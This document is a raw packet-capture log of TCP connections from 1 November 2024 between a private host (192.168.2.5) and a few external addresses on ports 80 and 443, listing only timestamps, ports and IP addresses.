Nov 1, 2024 05:02:31.786298037 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786334038 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786372900 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786384106 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786438942 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786451101 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786559105 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786559105 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786559105 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786559105 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786559105 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786569118 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786608934 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786642075 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786711931 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786720037 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786724091 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786745071 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786773920 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786818027 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786860943 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786936045 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786959887 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786978960 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786990881 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.787070990 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787084103 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787112951 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.787128925 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.787174940 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787215948 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.787282944 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787334919 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.787367105 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787377119 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787434101 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.787524939 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787566900 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.787570953 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787584066 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787612915 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.787626028 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.787718058 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787729979 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787739992 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.787763119 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.787792921 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.788037062 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.788081884 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.788096905 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.788109064 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.788137913 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.788153887 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.807847977 CET	59857	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:31.807882071 CET	443	59857	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:31.808088064 CET	443	59857	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:31.814042091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.814075947 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.814088106 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.814208031 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.814218998 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.814230919 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.814244032 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.814250946 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.814250946 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.814301968 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.814414024 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.814424992 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.814460039 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.814466000 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.814507961 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.818486929 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.818521976 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.818532944 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.818568945 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.818603992 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.818665028 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.818676949 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.818712950 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.818731070 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.818741083 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.818769932 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.819016933 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.819089890 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.819102049 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.819135904 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.849356890 CET	59857	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:31.862189054 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.862217903 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.862231016 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.862261057 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.862296104 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.864865065 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.877779007 CET	59857	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:31.877940893 CET	59857	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:31.877968073 CET	443	59857	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:31.893682003 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.893737078 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.893749952 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.893755913 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.893788099 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.893857956 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.893870115 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.893907070 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.893975973 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.893987894 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.894017935 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.894049883 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.894150019 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.894161940 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.894172907 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.894185066 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.894195080 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.894196033 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.894212008 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.894249916 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.894407988 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.894454956 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.903374910 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.903433084 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.903444052 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.903445959 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.903475046 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.903479099 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.903493881 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.903515100 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.903594017 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.903605938 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.903635979 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.903671026 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.903698921 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.903740883 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.903825998 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.903839111 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.903851032 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.903862000 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.903868914 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.903897047 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.904073000 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904083967 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904114008 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.904145956 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.904261112 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904304981 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.904315948 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904328108 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904355049 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.904380083 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.904480934 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904493093 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904505014 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904515982 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904522896 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.904547930 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.904580116 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.904755116 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904767036 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904778004 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904789925 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.904798031 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.904823065 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.905076981 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.905133963 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.905147076 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.905158997 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.905186892 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.905200958 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.935507059 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.935539007 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.935568094 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.935596943 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.935605049 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.935616970 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.935647011 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.935672045 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.935715914 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.935726881 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.935760021 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.935774088 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.966840982 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.966857910 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.966869116 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.966917038 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.966945887 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.967004061 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.967072964 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.967128038 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.967139959 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.967175961 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.967245102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.967257023 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.967315912 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.967891932 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.967940092 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.967958927 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.967972994 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.968005896 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.972959042 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.972968102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.973047972 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.979249001 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.979268074 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.979279041 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.979310036 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.979337931 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.010453939 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.010469913 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.010485888 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.010545969 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.010556936 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.010567904 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.010624886 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.010798931 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.010838985 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.010843992 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.010853052 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.010874033 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.010895014 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.010957003 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.010970116 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.011004925 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.011100054 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.011112928 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.011125088 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.011137009 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.011145115 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.011148930 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.011182070 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.011215925 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.011298895 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.011341095 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.020435095 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020462036 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020473003 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020508051 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.020530939 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.020572901 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020585060 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020616055 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.020653963 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.020654917 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020694017 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.020720959 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020777941 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020806074 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020822048 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.020838022 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.020939112 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020951033 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020961046 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.020991087 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021009922 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021079063 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021121025 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021131039 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021145105 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021164894 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021192074 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021198988 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021245003 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021270037 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021311045 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021347046 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021359921 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021372080 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021393061 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021425009 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021506071 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021548033 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021616936 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021661043 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021688938 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021701097 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021728992 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021742105 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021859884 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021902084 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021913052 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.021915913 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021948099 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.021975994 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.022006989 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.022053003 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.022095919 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.022129059 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.022134066 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.022167921 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.083731890 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.083745003 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.083787918 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.083813906 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.083887100 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.083899021 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.083909035 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.083935022 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.083970070 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.084395885 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.084460020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.084471941 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.084501982 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.084563017 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.084604025 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.084995031 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.085051060 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.085062027 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.085100889 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.107779980 CET	59851	80	192.168.2.5	185.215.113.206
Nov 1, 2024 05:02:32.119749069 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.119760990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.119801998 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.119812012 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.119863987 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.119931936 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.200740099 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.200802088 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.200814009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.200875998 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.200902939 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.200964928 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.201013088 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.201066971 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.201078892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.201117992 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.201179028 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.201260090 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.201301098 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.202631950 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.202697039 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.202716112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.202725887 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.202773094 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.236751080 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.236824989 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.236836910 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.236872911 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.286746979 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.317915916 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.317949057 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.317960978 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.318017006 CET	59856	80	192.168.2.5	185.215.113.16
